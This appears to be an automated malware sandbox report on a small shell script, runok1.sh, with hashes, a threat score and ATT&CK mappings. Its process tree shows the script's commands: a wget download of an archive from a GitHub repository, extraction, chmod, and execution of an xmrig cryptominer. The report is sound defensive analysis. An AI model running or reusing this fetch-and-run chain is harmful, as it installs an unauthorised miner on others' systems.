e7c5562d00c621c6fd4579c3214524aefa482206ed1d5215f5887b316922564e

Analysis

max time kernel
0s
max time network
1678s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
17-10-2024 04:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

runok1.sh
Size

138B
MD5

ed44ae7cc01f7bcc21c98a523afabd7c
SHA1

4e7f50162eeb61715a948d3359639c6910088860
SHA256

1663e111eceb895f9be9e87c6cfda675e506cd8ec88d144fd1a2b5dc7081d0de
SHA512

e1c895b50b2b259d40501497ae4f9b2bb77b2d8713cd584d9c83cab82898f5e134ba6c8320810bf649867156494ea5b656143b71e269c9490da210d48a52982c

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1517	chmod

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

tar

description	ioc	Process
File opened for reading	/proc/filesystems	tar

/tmp/runok1.sh
/tmp/runok1.sh
1⤵
PID:1511
- /usr/bin/wget
  wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/ok.tar.gz
  2⤵
  PID:1512
- /bin/tar
  tar xvf ok.tar.gz
  2⤵
  - Reads runtime system information
  PID:1513
- /bin/chmod
  chmod +x xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/xmrig
  ./xmrig
  2⤵
  PID:1518

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads